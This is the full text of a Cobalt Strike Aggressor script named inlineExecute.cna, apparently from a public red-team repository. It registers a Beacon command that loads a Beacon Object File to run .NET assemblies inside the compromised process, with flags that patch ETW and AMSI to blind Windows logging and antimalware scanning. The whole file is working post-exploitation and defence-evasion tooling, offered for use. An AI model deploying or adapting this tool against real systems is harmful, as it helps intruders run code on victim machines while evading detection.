loland-inlineExecute/inlineExecute/inlineExecute.cna

# inlineExecute.cna

$help = "Usage: inlineExecute [-etwH] [-etwB] [-amsi] [-verbose] [-scan] <filepath> <args>"; 

beacon_command_register(
	"inlineExecute",
	"execute-assembly in the current process with ETW bypass",
	$help
);

alias inlineExecute {
	$command = "inlineExecute";
	$commandLength = &strlen($command);
	
	$data = substr($0, $commandLength + 1); # +1 to include a " " space
	$dataLength = &strlen($data);
	
	@args = split(' ', $data);
	
	$patchEtwProviderHandle = false;
	$patchEtwEnableBits = false;
	$verbose = false;
	$patchAmsi = false;
	$scan = false;
	
	for ($i = 0; $i < size(@args); $i++) {
		if (@args[$i] iswm "-etwH") {
			$patchEtwProviderHandle = true;
			
		} else if (@args[$i] iswm "-etwB") {
			$patchEtwEnableBits = true;
			
		} else if (@args[$i] iswm "-verbose") {
			$verbose = true;
			
		} else if (@args[$i] iswm "-amsi") {
			$patchAmsi = true;
			
		} else if (@args[$i] iswm "-scan") {
			$scan = true;
			
		} else {
			$filepath = @args[$i];
			break;
		}
	}
	
	$handle = openf(script_resource("inlineExecute.o"));
	$bof = readb($handle, -1);
	
	if ($scan) {
		@arr = @();
		$bof_args = bof_pack($1, "biziiiii", "", 0, "", 0, 0, 0, 0, $scan);
		beacon_inline_execute($1, $bof, "go", $bof_args);
		return;
	}
	
	$filepathLength = &strlen($filepath);
	if ($filepathLength == 0) {
		blog($1, $help);
		return;
	}
	
	$assemblyHandle = openf($filepath);
	$assemblyLength = lof($filepath);
	$assemblyBytes = readb($assemblyHandle, -1);
	
	$assemblyArgs = "";
	if (size(@args) > ($i + 1)) {
		$filepathIndex = &indexOf($data, $filepath);
		$assemblyArgs = substr($data, $filepathIndex + $filepathLength + 1, $dataLength - ($filepath));
	}
	
	blog($1, "Executing: " . $filepath);
	blog($1, "Arguments: " . $assemblyArgs);
	
	if (!-exists $filepath || !-isFile $filepath) {
		blog($1, "File \"".$filepath."\" doesn't exist\n");
		return;
	}
	
	$bof_args = bof_pack($1, "biziiiii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $patchAmsi, $verbose, $scan);
	beacon_inline_execute($1, $bof, "go", $bof_args);
}